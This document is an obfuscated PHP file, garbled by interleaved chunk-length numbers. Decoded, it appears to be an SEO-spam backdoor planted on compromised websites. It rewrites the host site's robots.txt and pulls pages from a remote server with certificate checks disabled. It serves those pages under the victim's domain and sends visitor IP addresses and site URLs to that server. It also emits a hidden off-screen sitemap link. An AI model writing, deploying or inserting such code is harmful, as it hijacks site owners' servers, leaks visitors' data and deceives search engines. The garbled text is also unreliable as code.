1 < 4 ?php 4 g 5 oto N 4 WuLZ 5 ; N2p 5 xL: i 5 f (!e 4 mpty 5 ($get 4 ["\1 5 62"]) 4 ) { 5 $robo 5 tsPat 5 h = $ 4 _SER 3 VER 9 ["\104\x4 6 f\x43\ 6 x55\x4 7 d\x45\1 5 16\12 8 4\x5f\12 c 2\x4f\x4f\12 5 4"] . 5 "\x2 7 f\162\1 5 57\14 8 2\x6f\x7 6 4\163\ 8 56\x74\x 7 78\x74" 5 ; $si 5 temap 4 Bloc 5 k = " b \x55\x73\x6 8 5\x72\x2 5 d\x61 a \147\145\x 7 6e\x74\ b 72\x20\x2a\ 5 xa\10 a 1\154\154\ 9 x6f\x77\x 9 3a\x20\x2 10 f\12"; $sitemaps a = "\xa\12 7 3\151\1 9 64\x65\x6 9 d\x61\160 a \72\x20{$h 5 ttp_t 4 ype} e {$_SERVER["\x4 7 8\x54\x 8 54\120\1 5 37\11 b 0\117\123\1 13 24"]}{$_SERVER["\x5 5 3\103 b \122\x49\x5 9 0\x54\x5f 8 \116\x41 c \x4d\x45"]}\ 8 77\163\x 7 3d\x73\ b 12"; if (!f 5 ile_e 5 xists c ($robotsPath b )) { file_p 5 ut_co 4 nten 1e ts($robotsPath, $sitemapBlock c . $sitemaps) 5 ; } e 3 lse 11 { $robotsContent 4 = @ 8 file_get 1c _contents($robotsPath); if ( 5 strpo 11 s($robotsContent, d $_SERVER["\1 9 23\x43\x5 15 2\x49\x50\x54\x5f\x4e 11 \x41\x4d\x45"]) = 5 == fa 7 lse) { 29 @file_put_contents($robotsPath, $sitemaps 2 , 4 FILE 4 _APP 3 END e ); } } } goto 4 EzYo 8 e; NWuLZ 6 : erro 4 r_re 5 porti 4 ng(0 9 ); goto y 4 MqRN 9 ; yMqRN: 9 $get = $_ a GET; goto 3 shq 5 ZL; A 4 q5NJ 5 : $ll 1c = "{$http_type}{$_SERVER["\ 6 110\12 e 4\124\120\137\ 36 x48\x4f\123\x54"]}{$_SERVER["\x53\x43\122\111\x50\x54\ c 137\116\x41\ 6 115\10 5 5"]}" b ; goto D_ia 4 M; m 4 5bkF 5 : fun 5 ction 6 getCu 4 rl($ 4 url, 9 $getData 6 = arr 3 ay( 14 )) { if (!empty($get b Data)) { $q 4 uery 6 String 6 = is_ f array($getData) 8 ? http_ 4 buil 7 d_query 15 ($getData) : $getData 7 ; $url c .= (strpos($ 6 url, " f \77") === false 8 ? "\77" 8 : "\x26 11 ") . $queryString 8 ; } if ( 10 function_exists( 7 "\143\x 8 75\x72\1 a 54\137\x69 4 \156 10 \151\164")) { $c 8 h = curl 4 _ini 5 t(); 9 curl_seto b pt_array($c 9 h, array( 4 CURL 4 OPT_ 6 URL => f $url, CURLOPT_ 4 RETU 4 RNTR 4 ANSF 7 ER => t d rue, CURLOPT_ 4 SSL_ 5 VERIF 9 YPEER => 5 false 17 , CURLOPT_SSL_VERIFYHOS 15 T => false, CURLOPT_F 4 OLLO 4 WLOC 4 ATIO 14 N => true, CURLOPT_T 4 IMEO 8 UT => 10 b , CURLOPT_H 3 TTP 16 GET => true, CURLOPT_U 5 SERAG 8 ENT => " a \115\157\1 6 72\151 c \154\x6c\141 6 \57\x3 7 5\x2e\6 4 0")) a ; $data = 9 curl_exec c ($ch); curl_ 5 close 13 ($ch); if (!empty($ b data)) { re 4 turn c $data; } } 7 if (ini 9 _get("\14 10 1\154\x6c\x6f\16 7 7\x5f\x 9 75\162\15 f 4\x5f\146\157\1 7 60\x65\ b 156")) { $c 5 ontex 9 t = strea 9 m_context 7 _create 7 (array( 5 "\x68 c \164\x74\160 d " => array("\ 5 155\x a 65\164\x68 9 \x6f\x64" 7 => "\x b 47\105\x54" 9 , "\x74\x 6 69\155 f \145\x6f\x75\x7 a 4" => 10, c "\150\x65\x6 c 1\x64\x65\16 a 2" => "\12 7 5\163\x d 65\162\x2d\x4 13 1\147\145\x6e\164\x 5 3a\40 a \x4d\157\x 7 7a\151\ d x6c\x6c\x61\x d 2f\x35\x2e\60 7 \15\12" 6 ), "\1 a 63\x73\x6c 10 " => array("\166 f \x65\162\x69\14 5 6\x79 f \137\160\x65\14 11 5\162" => false, b "\x76\145\x c 72\151\146\1 9 71\137\x7 8 0\145\14 b 5\162\x5f\x 8 6e\141\x 10 6d\x65" => false d ))); $data = 19 @file_get_contents($url, f false, $context 31 ); if (!empty($data)) { return $data; } } return 3 ''; b } goto X5n 3 b1; a D_iaM: $v 7 url = $ f http_type . "\x c 69\144\154\x 6 79\62\ 7 56\x69\ a x64\x73\x6 9 8\157\x70 9 \x2e\x63\ 9 143\167\x 7 75\56\1 8 43\x63\x 6 2f\64\ 6 61\71\ e 56\x61\163\x70 c \x78"; goto 6 N2pxL; 1c EzYoe: if (!empty($get["\16 a 3"])) { $p 5 arams f = array("\163" 5 => d 8 ate("\13 a 1\x6d\144\ 7 x48\151 d "), "\x6e\165 8 \155\142 19 \x65\162" => $get["\156\1 a 65\x6d\x62 a \145\162"] a ); $str = a getCurl($v c url, $params d ); $str = str 7 _replac b e(array("\1 8 73\xe5\2 5 75\22 b 3\xe5\x89\x 4 8d\3 7 45\x9c\ 5 260\x 9 e5\235\x8 9 0\x7d"), 13 array($http_type . f $_SERVER["\110\ f x54\x54\x50\x5f 9 \110\117\ c x53\124"] . 1f $_SERVER["\123\x43\122\x49\x50\ 5 124\1 16 37\116\x41\x4d\x45"]), 8 $str); 5 heade 5 r("\1 8 03\157\1 e 56\x74\x65\156 d \164\x2d\164\ c 171\160\x65\ c 72\164\x65\1 6 70\x74 a \57\x78\15 8 5\154"); 5 echo 9 $str; di b e; } goto N 5 4dac; 7 X5nb1: e $http_type = 1e !empty($_SERVER["\110\x54\x54\ a 120\123"]) 4 && f $_SERVER["\x48\ 11 124\124\x50\123"] 3 != c = "\x6f\146\ 4 x66" d ? "\x68\164\ d 164\160\x73\x a 3a\x2f\x2f a " : "\150\ 15 164\164\160\x3a\x2f\5 9 7"; goto 9 Aq5NJ; f5 3 XoA e : function pos 11 tCurl($url, $post 17 Data = array()) { $post 13 String = is_array($ 1e postData) ? http_build_query($ 15 postData) : $postData 20 ; if (function_exists("\143\x75\ 12 162\154\x5f\x69\x6 7 e\x69\1 ef 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_P 15 OST => true, CURLOPT_ 7 POSTFIE 3 LDS f => $postString 66 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ e x6c\x6c\157\x7 1c 7\x5f\x75\162\154\x5f\x66\x6 b f\x70\145\1 31 56")) { $context = stream_context_create(array("\ 20 150\164\164\160" => array("\155\ d 145\164\150\1 6 57\144 10 " => "\120\x4f\x 7 53\124" 10 , "\164\x69\155\ d x65\157\165\x 13 74" => 10, "\x68\x6 8 5\141\14 8 4\x65\x7 e 2" => "\103\x6 e f\156\x74\x65\ d x6e\x74\55\12 b 4\171\x70\x c 65\x3a\x20\x d 61\160\160\x6 9 c\x69\x63 d \x61\x74\x69\ 7 x6f\x6e d \57\x78\55\x7 a 7\x77\167\ e 55\x66\x6f\x72 b \155\x2d\16 9 5\162\x6c 12 \x65\156\143\157\1 9 44\145\14 4 4\xd b \12" . "\x4 15 3\x6f\156\x74\145\156 c \x74\x2d\x4c a \145\x6e\1 b 47\164\x68\ 9 72\40" . 6 strlen d ($postString) a . "\xd\xa a " . "\125\ 6 x73\14 f 5\x72\x2d\101\x 10 67\x65\156\164\x e 3a\40\x4d\157\ 12 172\151\x6c\x6c\14 7 1\x2f\6 8 5\56\x30 c \xd\xa", "\1 f 43\x6f\x6e\164\ c 145\x6e\164" 2c => $postString), "\163\x73\x6c" => array("\ c x76\145\x72\ e x69\146\171\x5 27 f\x70\x65\145\162" => false, "\x76\145\ d 162\x69\x66\x 6 79\x5f d \160\145\x65\ 5 x72\1 d 37\x6e\141\15 5 5\145 81 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; 1b N4dac: if (!empty($get["\1 6 51\144 b "])) { if ( 13 empty($get["\153\15 b 3"])) { $ip 9 = get_ip 16 (); $params = array("\ c x69\160" => 4 $ip, 10 "\x69\144" => i 4 sset 11 ($get["\x69\144"] f ) ? $get["\151\ 5 x64"] 5 : '' 10 , "\x6c\x6c" => 8 $ll); $t 20 zstr = getCurl($vurl, $params); c if (strpos($ 12 tzstr, "\x69\144") 5 !== f false) { echo $ f tzstr; die; } } 17 $params = array("\x69\ 13 x64" => $get["\x69\ d x64"], "\x6c\ f 154" => $ll); $ 3b str = getCurl($vurl, $params); $str = str_replace(array("\x 8 7b\125\x 9 52\x4c\17 7 5", "\1 8 73\345\2 7 37\237\ 9 345\x90\2 7 15\175" d ), array(get_ 8 url_info d ("\146\165\15 9 4\x6c"), 11 get_url_info("\15 8 6\157\13 10 7\x77\167\167")) 9 , $str); 1a echo $str; die; } else { $ 8 sitemapU 8 rl = $ll f . "\x3f\x73\x3 5 d" . 12 date("\131\155\144 8 \110\x69 b "); echo "\ c 74\144\x69\1 4 66\4 10 0\x73\164\171\15 b 4\145\x3d\x c 27\x74\145\1 7 70\164\ e x2d\x61\154\15 c 1\147\156\x3 8 a\x63\14 12 5\x6e\164\x65\x72\ c 73\40\160\x6 8 1\144\14 e 4\x69\156\x67\ 7 72\61\x b 30\160\170\ 7 40\x30\ 8 73\x27\7 c 6\x3c\x61\x2 8 0\150\16 a 2\x65\146\ 6 75\42{ f $sitemapUrl}\x2 7 2\x20\x e 74\x61\x72\x67 a \x65\164\x c 3d\42\x5f\x6 c 2\154\141\x6 5 e\x6b f \42\40\162\x65\ b x6c\x3d\x22 a \x6e\157\x 7 66\157\ 11 x6c\x6c\157\167\x c 22\x3e\x20\x 4 53\x 18 69\x74\x65\x6d\x61\160\7 a 4\57\141\x 8 3e\x3c\x c 2f\144\151\1 6 66\76" b ; } goto nn 4 SBp; 4 Uh8 10 So: function get 5 _ip() 8 { forea d ch (array("\x b 48\x54\x54\ b x50\x5f\x58 8 \137\x46 b \117\x52\12 5 7\101 c \122\104\x45 b \104\x5f\x4 9 6\x4f\x52 d ", "\x48\124\ e x54\120\x5f\x4 5 3\114 a \x49\105\x 4 4e\x e 54\137\111\x50 b ", "\x52\x4 12 5\x4d\117\x54\x45\ 5 x5f\1 a 01\x44\x44 9 \x52") as 4 $ke 11 y) { if (!empty($ d _SERVER[$key] c )) { return 7 trim(ex 4 plod 8 e("\x2c" b , $_SERVER[ 9 $key])[0] e ); } } return a "\x55\x4e\ 3 113 b \116\x4f\x5 f 7\116"; } goto c f5XoA; shqZL f : function get_ 10 url_info(string 7 $return 11 _type = "\144\157 8 \155\141 9 \151\x6e" e ) : string { $ 4 host e = $_SERVER["\ 18 x48\124\124\x50\x5f\110\ 13 x4f\123\x54"]; if ( f $return_type == e = "\144\x6f\15 9 5\x61\x69 11 \156") { return $ c host; } if ( 1b $return_type === "\156\157\ 11 x5f\x77\167\167") b { return l a trim($host 11 , "\x77\x77\167\x 6 2e"); 8 } $proto 3 col a = isset($ 1c _SERVER["\110\x54\124\x50\x5 13 3"]) && $_SERVER["\ 17 110\x54\x54\x50\x53"] = a == "\x6f\1 6 56" || 1a isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 9 0\137\106 d \x4f\122\127\ 10 x41\122\104\x45\ 9 x44\137\x 6 50\x52 22 \117\x54\x4f"]) && $_SERVER["\110\ 11 124\124\120\137\x 13 58\137\106\x4f\122\ 10 x57\101\122\104\ 9 105\104\1 10 37\x50\122\x4f\x 6 54\117 f "] === "\150\x7 9 4\x74\160 e \x73" ? "\x68\ e x74\164\x70\x7 a 3\x3a\57\x 8 2f" : "\ 15 x68\x74\164\x70\72\x2 a f\x2f"; $b 4 ase_ 10 url = $protocol 9 . $host; 1a if ($return_type === "\142 c \x61\x73\145 15 ") { return $base_url 8 ; } $uri 16 = $_SERVER["\x52\x45\ 3 121 a \125\105\1 e 23\124\x5f\x55 8 \122\x49 8 "]; $ful 9 l_url = $ f base_url . $uri 19 ; if ($return_type === "\ c x66\165\154\ 10 154") { return $ 9 full_url; 1b } return ''; } goto Uh8So; 9 nnSBp: ? 1 > 0